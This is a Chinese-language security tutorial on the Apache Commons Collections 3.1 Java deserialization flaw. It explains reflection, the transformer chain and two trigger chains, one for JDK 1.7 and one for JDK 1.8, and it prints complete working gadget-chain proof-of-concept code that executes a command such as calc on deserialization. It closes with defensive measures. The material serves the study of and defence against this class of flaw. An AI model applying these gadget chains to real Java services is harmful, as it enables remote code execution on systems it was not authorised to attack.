从apache-commons-collections中学习java反序列化
字数 1591 2025-08-20 18:18:40
Apache Commons Collections Java反序列化漏洞深入分析
前言
Apache Commons Collections 3.1的反序列化漏洞是Java历史上最著名且最具代表性的反序列化漏洞。本文将详细分析该漏洞的原理、利用方式及防御措施。
环境准备
- JDK 1.7版本
- IntelliJ IDEA
- commons-collections-3.1.jar
基础知识
Java反射机制
反射是在运行时获取类的完整构造并调用对应方法的能力,在漏洞利用中起关键作用。
核心反射类
java.lang.Classjava.lang.reflect.Constructorjava.lang.reflect.Fieldjava.lang.reflect.Methodjava.lang.reflect.Modifier
获取Class对象的三种方式
// 1. Class.forName静态方法
Class clz = Class.forName("java.lang.String");
// 2. 使用.class方法
Class clz = String.class;
// 3. 使用对象的getClass()方法
String str = new String("Hello");
Class clz = str.getClass();
反射执行命令示例
// 获取Runtime类对象
Class runtimeClass1 = Class.forName("java.lang.Runtime");
// 获取构造方法并创建实例
Constructor constructor = runtimeClass1.getDeclaredConstructor();
constructor.setAccessible(true);
Object runtimeInstance = constructor.newInstance();
// 获取exec方法并执行
Method runtimeMethod = runtimeClass1.getMethod("exec", String.class);
Process process = (Process) runtimeMethod.invoke(runtimeInstance, cmd);
// 获取执行结果
InputStream in = process.getInputStream();
System.out.println(IOUtils.toString(in, "UTF-8"));
Java反序列化
Java中可以通过重写以下方法实现自定义序列化/反序列化:
private void writeObject(ObjectOutputStream oos)private void readObject(ObjectInputStream ois)private void readObjectNoData()protected Object writeReplace()protected Object readResolve()
反序列化时会自动调用readObject方法。
漏洞原理分析
CC链反序列化漏洞的利用思路:
- 利用
InvokerTransformer、ConstantTransformer、ChainedTransformer等类构建反射链 - 寻找Commons Collections中会在反序列化时触发
transform方法的类
一、构建反射链
InvokerTransformer类分析
InvokerTransformer.transform()方法实现了反射调用:
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (...) {
// 异常处理
}
}
通过控制iMethodName、iParamTypes和iArgs参数,可以实现任意方法调用。
ChainedTransformer类分析
ChainedTransformer实现了链式调用:
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
ConstantTransformer类分析
简单的值转换器,用于提供初始对象。
完整反射链POC
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}),
new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {"open -a Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
二、寻找触发链
我们需要找到一个类:
- 重写了
readObject方法 - 在反序列化过程中会调用
transform方法
JDK 1.7 - TransformedMap利用链
调用链:
ObjectInputStream.readObject()
→ AnnotationInvocationHandler.readObject()
→ TransformedMap.entrySet().iterator().next().setValue()
→ TransformedMap.checkSetValue()
→ TransformedMap.transform()
→ ChainedTransformer.transform()
关键点分析:
TransformedMap构造函数:
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
put方法触发transformValue:
public Object put(Object key, Object value) {
key = this.transformKey(key);
value = this.transformValue(value);
return this.getMap().put(key, value);
}
AnnotationInvocationHandler.readObject中会调用setValue
完整POC:
public class Exec implements Serializable {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "sijidou");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, transformedMap);
// 序列化和反序列化
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(instance);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
ois.readObject();
}
}
JDK 1.8 - LazyMap利用链
由于JDK 1.8中AnnotationInvocationHandler的变化,需要使用新的触发链:
调用链:
反序列化BadAttributeValueExpException
→ BadAttributeValueExpException.readObject()
→ TideMapEntry.toString()
→ TideMapEntry.getValue()
→ LazyMap.get()
→ ChainedTransformer.transform()
关键点分析:
LazyMap.get方法:
public Object get(Object key) {
if (!this.map.containsKey(key)) {
Object value = this.factory.transform(key);
this.map.put(key, value);
return value;
}
return this.map.get(key);
}
TiedMapEntry类:
public Object getValue() {
return this.map.get(this.key);
}
public String toString() {
return getKey() + "=" + getValue();
}
BadAttributeValueExpException.readObject会调用toString
完整POC:
public class Exec {
public static BadAttributeValueExpException getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(1) });
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}),
new InvokerTransformer("exec",
new Class[] {String.class}, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, entry);
Field iTransformers = transformerChain.getClass().getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);
return val;
}
public static void main(String[] args) throws Exception {
BadAttributeValueExpException calc = getObject("calc");
// 序列化和反序列化
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(calc);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
ois.readObject();
}
}
防御措施
- 升级Apache Commons Collections到安全版本(3.2.2+)
- 使用JVM安全管理器限制反序列化
- 使用白名单机制控制可反序列化的类
- 使用
ObjectInputFilter过滤反序列化输入